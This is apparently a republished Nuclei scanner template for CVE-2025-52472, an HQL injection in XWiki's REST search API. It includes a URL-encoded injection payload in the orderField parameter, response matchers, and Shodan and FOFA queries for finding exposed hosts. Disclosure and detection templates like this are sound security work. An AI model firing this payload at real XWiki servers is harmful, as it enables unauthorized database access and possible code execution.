CVE-2025-52472: XWiki - HQL Injection

2025-11-07 XWiki PoC Public

Description

XWiki is vulnerable to Hibernate Query Language (HQL) injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potentially leading to data extraction, authentication bypass, or remote code execution depending on database backend and configuration.

PoC

id: CVE-2025-52472

info:
  name: XWiki - HQL Injection
  author: ritikchaddha
  severity: high
  description: |
    XWiki is vulnerable to Hibernate Query Language (HQL) injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potentially leading to data extraction, authentication bypass, or remote code execution depending on database backend and configuration.
  impact: |
    Unauthenticated attackers can inject malicious HQL queries through the orderField parameter, potentially leading to complete database compromise, data extraction, authentication bypass, or remote code execution.
  remediation: |
    Update XWiki to a version that patches this vulnerability. Review and sanitize all user-controlled parameters that are used in database queries, especially those passed to HQL queries.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-23247
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-52472
    epss-score: 0.02365
    epss-percentile: 0.82942
    cwe-id: CWE-89
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,hqli,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki", "QueryException: Exception while executing query. Query statement")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 500'
        condition: and
# digest: 490a0046304402201f0805619aa149e0a3108ee96f81d5c8f569c7ef2ab33771e15ec8d0328f4457022015e94d352f5bf03d1d980a73d26c21f335d7c2aa456f029daf3f3e0bdd6bc4b1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-52472.yaml

References

Related Vulnerabilities